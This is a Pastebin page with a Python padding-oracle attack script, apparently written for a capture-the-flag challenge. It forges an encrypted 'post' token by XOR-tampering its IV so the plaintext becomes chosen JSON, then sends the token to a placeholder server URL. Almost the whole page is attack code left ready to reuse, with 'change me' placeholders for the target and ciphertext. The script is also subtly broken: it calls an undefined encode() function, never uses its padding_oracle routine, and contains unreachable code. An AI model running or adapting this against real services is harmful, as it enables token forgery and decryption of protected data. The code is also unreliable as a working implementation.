Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- import base64, requests
- def decode(data):
- return base64.b64decode(data.replace("~","=").replace("!","/").replace("-","+"))
- def bxor(azazel, ayumi):
- result = b""
- for azazel, ayumi in zip(azazel, ayumi):
- result += bytes([azazel ^ ayumi])
- return result
- def padding(url, data):
- r = requests.get(url+"?post={}".format(data))
- if 'PaddingException' in r.text:
- return True
- print(r.text)
- else:
- return False
- def gen_iv_list(data):
- iv = b'\x00'*(16-len(data)-1)
- return [iv+bytes([change])+data for change in range(0x00, 0xff+1)]
- def padding_oracle(iv, url, data):
- index = 15
- plains = bytes()
- tail = bytes()
- while index >= 0:
- for new_iv in gen_iv_list(tail):
- if padding(url, encode(new_iv+data)):
- plains = bytes([(16-index) ^ new_iv[index]])+plains
- index -=1
- tail = bytes([plain ^ (16-index) for plain in plains])
- break
- return bxor(iv, plains)
- post = "<encrypted shit in post>" #change me
- data = decode(post)[16*(1+5):]
- iv = decode(post)[16*(1+4):16*(1+5)]
- kewl = bxor(b'$FLAG$", "id": "', iv)
- test = bxor(kewl, b'{"id":"1", "i":"')
- b = base64.b64encode(test+data)
- hehe = b.decode('ascii').replace("=","~").replace("/","!").replace("+","-")
- print("Encoded: "+hehe)
- if padding("http://<ip>/<path>/", hehe): #change me
- print("nice")
- else:
- print("X0X")
Add Comment
Please, Sign In to add comment